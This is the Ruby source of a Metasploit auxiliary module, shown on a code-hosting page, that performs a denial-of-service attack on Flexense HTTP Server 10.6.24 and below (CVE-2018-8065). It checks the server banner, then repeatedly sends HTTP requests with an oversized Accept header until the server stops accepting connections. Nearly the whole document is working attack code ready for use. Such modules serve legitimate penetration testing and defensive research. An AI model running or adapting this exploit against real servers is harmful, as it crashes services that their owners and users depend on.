Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/flexense_http_server_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Exploit::Remote::Tcp89def initialize(info = {})10super(update_info(info,11'Name' => 'Flexense HTTP Server Denial Of Service',12'Description' => %q{13This module triggers a Denial of Service vulnerability in the Flexense HTTP server.14Vulnerability caused by a user mode write access memory violation and can be triggered with15rapidly sending variety of HTTP requests with long HTTP header values.1617Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below versions reportedly vulnerable.18},19'Author' => [ 'Ege Balci <[email protected]>' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2018-8065'],24[ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ],25],26'DisclosureDate' => '2018-03-09'))2728register_options(29[30Opt::RPORT(80),31OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]),32OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ])33])3435end3637def check38begin39connect40sock.put("GET / HTTP/1.0\r\n\r\n")41res = sock.get42if res and res.include? 'Flexense HTTP Server v10.6.24'43Exploit::CheckCode::Appears44else45Exploit::CheckCode::Safe46end47rescue Rex::ConnectionRefused48print_error("Target refused the connection")49Exploit::CheckCode::Unknown50rescue51print_error("Target did not respond to HTTP request")52Exploit::CheckCode::Unknown53end54end5556def run57unless check == Exploit::CheckCode::Appears58fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')59end6061size = datastore['PacketSize'].to_i62print_status("Starting with packets of #{size}-byte strings")6364count = 065loop do66payload = ""67payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n"68payload << "Host: 127.0.0.1\r\n"69payload << "Accept: "+('A' * size)+"\r\n"70payload << "\r\n\r\n"71begin72connect73sock.put(payload)74disconnect75count += 176break if count==datastore['PacketCount']77rescue ::Rex::InvalidDestination78print_error('Invalid destination! Continuing...')79rescue ::Rex::ConnectionTimeout80print_error('Connection timeout! Continuing...')81rescue ::Errno::ECONNRESET82print_error('Connection reset! Continuing...')83rescue ::Rex::ConnectionRefused84print_good("DoS successful after #{count} packets with #{size}-byte headers")85return true86end87end88print_error("DoS failed after #{count} packets of #{size}-byte strings")89end90end919293